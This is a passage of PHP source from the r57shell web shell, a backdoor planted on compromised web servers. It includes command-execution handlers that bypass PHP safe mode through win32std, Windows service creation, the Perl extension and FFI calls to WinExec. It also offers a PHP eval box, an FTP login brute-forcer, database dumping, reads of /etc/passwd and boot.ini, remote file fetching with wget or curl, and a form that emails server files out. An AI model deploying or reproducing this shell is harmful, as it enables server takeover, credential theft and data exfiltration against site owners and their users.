  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  elseif(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  @unlink($tmp.'/result_test15.txt');
  @win_shell_execute("cmd.exe","","/c ".$_POST['test15_cmd']." > ".$tmp."/result_test15.txt");
  while(!file_exists($tmp.'/result_test15.txt')) sleep(1);
  $lines = @file ($tmp.'/result_test15.txt');
  if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  @unlink($tmp.'/result_test15.txt');
  break;
  case 'test16':
  $tmp = '';
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  $name=$tmp."\\".uniqid();
  $n=uniqid();
  $cmd=(empty($_SERVER['COMSPEC']))?'c:\\windows\\system32\\cmd.exe':$_SERVER['COMSPEC'];
  win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c ".$_POST['test16_cmd']." >\"$name\""));
  win32_start_service($n);
  win32_stop_service($n);
  win32_delete_service($n);
  while(!file_exists($name)) sleep(1);
  $exec=file_get_contents($name);
  unlink($name);
  echo htmlspecialchars($exec);
  break;
  case 'test17':
  $_POST['test17_cmd'] = str_replace('\\','\\\\',$_POST['test17_cmd']);
  $perl = new Perl();
  $perl->eval('print `'.$_POST['test17_cmd'].'`');
  break;
  case 'test18':
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  if(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  $name=$tmp."\\".uniqid();
  $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  $res=$api->WinExec("cmd.exe /c ".$_POST['test18_cmd']." >\"$name\"",0);
  while(!file_exists($name)) sleep(1);
  $exec=file_get_contents($name);
  unlink($name);
  echo htmlspecialchars($exec);
  break;
  
 }
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 foreach($users as $user)
  {	
  $connection = @ftp_connect($ftp_server,$ftp_port,10);	
  if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } 
  @ftp_close($connection);
  }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse'])) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 eval($eval);}
if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  $sql = new my_sql();
  $sql->db   = $_POST['db'];
  $sql->host = $_POST['db_server'];
  $sql->port = $_POST['db_port'];
  $sql->user = $_POST['mysql_l'];
  $sql->pass = $_POST['mysql_p'];	
  $sql->base = $_POST['mysql_db'];
  if(!$sql->connect()) { echo "[-] ERROR! ".$sql->error; }
  else if(!$sql->select_db()) { echo "[-] ERROR! ".$sql->error; }
  else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! ".$sql->error; }
  else {
   if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
   else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } 
   else { echo "[-] ERROR! Can't write in ".$_POST['dif']; }
   }
 } 
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<div class='block' style='display: none;' id='load'><font face=Verdana size=-2><b> Loading... </b></font></div>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
  return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
 { 
 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; 	
 return '<div id="'.$id.'">';
 }
if(!$safe_mode){
echo '<form name=form method=POST onsubmit="return false">'.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd id="ajax_cmd" onkeyup="keyE(event)"',85,'').ws(4).'<noscript>'.in('submit','submit',0,$lang[$language.'_butt1']).'</noscript>');
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir id="ajax_dir"',85,$dir).ws(4));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
if(!$safe_mode){
$aliases2 = '';	
foreach ($aliases as $alias_name=>$alias_cmd)
 {
 $aliases2 .= "<option>$alias_name</option>";
 }
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=5>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $table_end1.$fe;
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$mysql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$unix&&function_exists('mb_send_mail')){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_list')){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_body')){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
if($safe_mode && @substr(@php_sapi_name(), 0, 3) == 'cgi')
{
echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id26').$table_up2.div('id26').$ts;
echo sr(0,'','<div align="center">'.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').in('submit','submit',0,$lang[$language.'_butt8']).'</div>');
echo $te.'</div>'.$table_end1.$fe;  
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id27').$table_up2.div('id27').$ts;
echo sr(15,"<b>".$lang[$language.'_text124'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):('../../file.php'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10'));
echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test10_content',96,(!empty($_POST['test10_content'])?($_POST['test10_content']):('<? echo \'gotcha\'; ?>'))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// htaccess mail.
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id28').$table_up2.div('id28').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test11_cmd',96,(!empty($_POST['test11_cmd'])?($_POST['test11_cmd']):('ls -la'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// htaccess SSI
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id29').$table_up2.div('id29').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test12_cmd',96,(!empty($_POST['test12_cmd'])?($_POST['test12_cmd']):('ls -la'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// COM
if($safe_mode&&!$unix)
{
echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id30').$table_up2.div('id30').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test13_cmd',96,(!empty($_POST['test13_cmd'])?($_POST['test13_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// ionCube
if($safe_mode&&extension_loaded("ionCube Loader"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id31').$table_up2.div('id31').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test14_cmd',96,(!empty($_POST['test14_cmd'])?($_POST['test14_cmd']):('../../boot.ini'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// win32std
if($safe_mode&&!$unix&&extension_loaded("win32std"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id32').$table_up2.div('id32').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test15_cmd',96,(!empty($_POST['test15_cmd'])?($_POST['test15_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// win32service
if($safe_mode&&!$unix&&extension_loaded("win32service"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id33').$table_up2.div('id33').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test16_cmd',96,(!empty($_POST['test16_cmd'])?($_POST['test16_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// perl
if($safe_mode&&extension_loaded("perl"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text131'],'id34').$table_up2.div('id34').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test17_cmd',96,(!empty($_POST['test17_cmd'])?($_POST['test17_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
// FFI
if($safe_mode&&!$unix&&extension_loaded("ffi"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text132'],'id35').$table_up2.div('id35').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test18_cmd',96,(!empty($_POST['test18_cmd'])?($_POST['test18_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}
if(@ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.'</div>'.$table_end1.$fe;
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option>MySQL</option>';
if($mssql_on) $select .= '<option>MSSQL</option>';
if($pg_on)    $select .= '<option>PostgreSQL</option>';
if($ora_on)   $select .= '<option>Oracle</option>';
$select .= '</select>';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
